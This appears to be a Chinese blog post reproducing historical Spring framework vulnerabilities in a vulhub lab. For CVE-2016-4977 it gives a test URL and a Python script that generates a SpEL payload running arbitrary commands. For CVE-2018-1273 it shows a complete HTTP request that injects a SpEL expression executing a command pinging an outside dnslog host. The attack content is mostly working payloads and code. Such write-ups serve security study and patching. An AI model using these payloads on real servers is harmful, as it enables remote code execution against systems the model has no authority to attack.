1.Spring Security OAuth2.0 (CVE-2016-4977)

这个洞是由于Spring Security OAuth2.0的功能,在登录成功之后由于response_type不存在显示在Whitelabel Error Page上存在EL表达式注入漏洞

测试地址:http://127.0.0.1:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test

基本上使用了Spring Security OAuth2.0 默认路径就是这个了

Spring 历史漏洞复现

 

 

 

Spring 历史漏洞复现

 

 

 难受之处在于必须登录成功,不然直接就认证失败了。

再看下执行命令 "ping 0hb8tu.dnslog.cn"

Spring 历史漏洞复现

 

 

 Spring 历史漏洞复现

 

 

 

生成poc的脚本:
#!/usr/bin/env python

message = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)

poc += ')}'

print(poc)

 

使用方法:

Spring 历史漏洞复现

 

 

 

 

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

依然是使用vulhub复现:
POST /users?page=&size=5 HTTP/1.1
Host: xx.xx.xx.xx:8080
Content-Length: 54
Cache-Control: max-age=0
Origin: http://10.154.110.127:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://10.154.110.127:8080/users
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("ping j603y6.dnslog.cn")]=jinqi&password=123456&repeatedPassword=123456

 

Spring 历史漏洞复现

 

 

利用难度较低

 

 

Spring Data Rest 远程命令执行 CVE-2017-8046

PATCH方法

相关文章:

  • 2021-12-22
  • 2021-12-23
  • 2022-01-09
  • 2021-11-24
  • 2021-10-13
  • 2021-06-26
  • 2021-08-25
  • 2022-02-25
猜你喜欢
  • 2022-12-23
  • 2021-11-03
  • 2021-06-21
  • 2022-12-23
  • 2021-11-12
相关资源
相似解决方案